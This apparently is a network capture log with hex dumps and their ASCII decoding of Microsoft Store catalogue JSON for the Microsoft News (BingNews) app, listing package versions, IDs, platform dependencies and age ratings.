2022-04-08 08:03:31 UTC8517INData Raw: 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b
Data Ascii: ut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{
2022-04-08 08:03:31 UTC8521INData Raw: 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 65 62 37 61 62 36 35 32 2d 63 32 32 37 2d 34 35 39 36 2d 62 61 37 37 2d 34 36
Data Ascii: systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"eb7ab652-c227-4596-ba77-46
2022-04-08 08:03:31 UTC8525INData Raw: 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 65 62 37 61 62 36 35 32 2d 63 32 32 37 2d 34 35 39 36 2d 62 61 37 37 2d 34 36 37 62 63 38 64 61 65 33 33 32 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64
Data Ascii: FHVFW","WuBundleId":"eb7ab652-c227-4596-ba77-467bc8dae332","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId
2022-04-08 08:03:31 UTC8529INData Raw: 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 22 2c 22 61 72 6d 22 2c 22 78 38 36 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 39 39 32 38 39 33 34 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 31 37 32 33 35 32 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65
Data Ascii: tures":null}},{"Applications":[{"ApplicationId":"AppexNews"}],"Architectures":["x64","arm","x86"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":39928934,"MaxInstallSizeInBytes":35172352,"PackageFormat":"AppxBundle","Package
2022-04-08 08:03:31 UTC8533INData Raw: 35 31 37 36 34 34 38 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 39 2e 33 31 30 30 31 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 32 65 36 34 63 36 35 62 2d 64 61 32 30 2d 61 32 39 35 2d 34 63 33 64 2d 66 31 66 31 36 38 62 35 34 66 32 36 2d 58
Data Ascii: 5176448,"PackageFormat":"EAppxBundle","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.BingNews_4.9.31001.70_neutral_~_8wekyb3d8bbwe","PackageId":"2e64c65b-da20-a295-4c3d-f1f168b54f26-X
2022-04-08 08:03:31 UTC8537INData Raw: 67 65 49 64 22 3a 22 61 33 31 66 35 37 30 62 2d 39 63 32 65 2d 36 65 32 38 2d 37 61 35 64 2d 39 35 30 35 63 30 61 37 33 33 35 64 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 33 34 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30
Data Ascii: geId":"a31f570b-9c2e-6e28-7a5d-9505c0a7335d-X86-X64-Arm","PackageRank":30343,"PlatformDependencies":[{"MaxTested":2814750931222528,"MinVersion":2814750835277824,"PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040
2022-04-08 08:03:31 UTC8541INData Raw: 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 35 34 2e 32 32 37 34 31 2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 35 34 2e 32 32 37 34 31 2e 37 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 35 34 2e 32 32 37 34 31 2e 37 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e
Data Ascii: encyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.BingNews_4.54.22741.70_x86__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.54.22741.70_x64__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.54.22741.70_arm__8wekyb3d8bbwe\"],\"conten
2022-04-08 08:03:31 UTC8545INData Raw: 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 33 2e 31 2e 36 2e 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 64 66 64 33 31 39 31 62 2d 38 64 38 34 2d 34 39 31 37 2d 61 37 30 38 2d 30 37 38 30 39 39 36 62 36 62 62 61 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 31 34 30 30 30 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 32 35 31 38 30 34 31 30 38 36 35 32 35 34 34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 32 35 31 38 30 34 31 30 38 36 35 32 35 34 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 6f 77 73 50 68 6f 6e 65 38 78
Data Ascii: kageFullName":"Microsoft.BingNews_3.1.6.0_arm__8wekyb3d8bbwe","PackageId":"dfd3191b-8d84-4917-a708-0780996b6bba","PackageRank":14000,"PlatformDependencies":[{"MaxTested":2251804108652544,"MinVersion":2251804108652544,"PlatformName":"Windows.WindowsPhone8x
2022-04-08 08:03:31 UTC8549INData Raw: 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d
Data Ascii: ":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"system
2022-04-08 08:03:31 UTC8553INData Raw: 69 74 69 65 73 22 3a 5b 7b 22 41 63 74 69 6f 6e 73 22 3a 5b 22 44 65 74 61 69 6c 73 22 2c 22 46 75 6c 66 69 6c 6c 22 2c 22 50 75 72 63 68 61 73 65 22 2c 22 42 72 6f 77 73 65 22 2c 22 43 75 72 61 74 65 22 2c 22 52 65 64 65 65 6d 22 5d 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 41 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 42 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 69 65 64 41 70 70 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 49 64 22 3a 22 42 30 35 4b 39 56 38 42 5a 53 4a 30 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 64 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 22
Data Ascii: ities":[{"Actions":["Details","Fulfill","Purchase","Browse","Curate","Redeem"],"AvailabilityASchema":"Availability;3","AvailabilityBSchema":"AvailabilityUnifiedApp;3","AvailabilityId":"B05K9V8BZSJ0","Conditions":{"ClientConditions":{"AllowedPlatforms":[{"
2022-04-08 08:03:31 UTC8557INData Raw: 64 65 70 74 68 20 72 65 70 6f 72 74 69 6e 67 20 66 72 6f 6d 20 74 68 65 20 77 6f 72 6c 64 27 73 20 62 65 73 74 20 6a 6f 75 72 6e 61 6c 69 73 74 73 2e 5c 6e c2 a0 5c 6e 2d 20 4f 75 72 20 65 64 69 74 6f 72 73 20 63 75 72 61 74 65 20 74 68 65 20 6d 6f 73 74 20 74 72 75 73 74 65 64 2c 20 69 6d 70 6f 72 74 61 6e 74 2c 20 69 6e 74 65 72 65 73 74 69 6e 67 20 61 6e 64 20 74 72 65 6e 64 69 6e 67 20 6e 65 77 73 5c 6e 2d 20 59 6f 75 20 63 68 6f 6f 73 65 20 77 68 69 63 68 20 74 6f 70 69 63 73 20 6d 61 74 74 65 72 20 6d 6f 73 74 20 74 6f 20 79 6f 75 2e 5c 6e 2d 20 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 73 20 75 70 64 61 74 65 73 20 79 6f 75 20 77 69 74 68 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 20 6f 66 20 62 72 65 61 6b 69 6e 67 20 6e 65 77 73 2c 20 71 75 69 63 6b
Data Ascii: depth reporting from the world's best journalists.\n\n- Our editors curate the most trusted, important, interesting and trending news\n- You choose which topics matter most to you.\n- Microsoft News updates you with notifications of breaking news, quick
2022-04-08 08:03:31 UTC8561INData Raw: 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 33 31 2e 31 32 31 32 34 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 33 31 2e 31 32 31 32 34 2e 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 33 31 2e 31 32 31 32 34 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61
Data Ascii: bwe\",\"Microsoft.BingNews_4.31.12124.0_x86__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.31.12124.0_arm__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.BingNews_4.31.12124.0_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8ca
2022-04-08 08:03:31 UTC8565INData Raw: 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 37 30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c
Data Ascii: ~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-b8b33cc9caf1\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750931222528,\"platform.minVersion\":2814750835277824,\"platform.target\":5}],\"content.type\":7,\"policy\":{\
2022-04-08 08:03:31 UTC8569INData Raw: 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68
Data Ascii: arget\":5}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"News & weather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"th
2022-04-08 08:03:31 UTC8573INData Raw: 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22
Data Ascii: \"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\"
2022-04-08 08:03:31 UTC8577INData Raw: 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 65 62 37 61 62 36 35 32 2d 63 32 32 37 2d 34 35 39 36 2d 62 61 37 37 2d 34 36 37 62 63 38 64 61 65 33 33 32 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67
Data Ascii: 6},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"eb7ab652-c227-4596-ba77-467bc8dae332","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","Packag
2022-04-08 08:03:31 UTC8581INData Raw: 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72
Data Ascii: "eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"AppexNews"}],"Architectures":["arm","x86","x64"],"Capabilities":["inter
2022-04-08 08:03:31 UTC8585INData Raw: 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 39 32 36 34 35 34 31 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 37 30 30 37 33 36 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44
Data Ascii: res":["arm","x86","x64"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":39264541,"MaxInstallSizeInBytes":35700736,"PackageFormat":"AppxBundle","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForD
2022-04-08 08:03:31 UTC8589INData Raw: 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 37 2e 32 32 30 30 32 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 31 61 62 31 37 65 34 66 2d 63 64 66 66 2d 39 35 31 64 2d 34 64 66 61 2d 35 32 65 61 63 37 36 61 64 64 33 63 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 31 34 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37
Data Ascii: News_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.BingNews_4.7.22002.0_neutral_~_8wekyb3d8bbwe","PackageId":"1ab17e4f-cdff-951d-4dfa-52eac76add3c-X86-X64-Arm","PackageRank":30143,"PlatformDependencies":[{"MaxTested":28147
2022-04-08 08:03:31 UTC8593INData Raw: 30 31 37 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 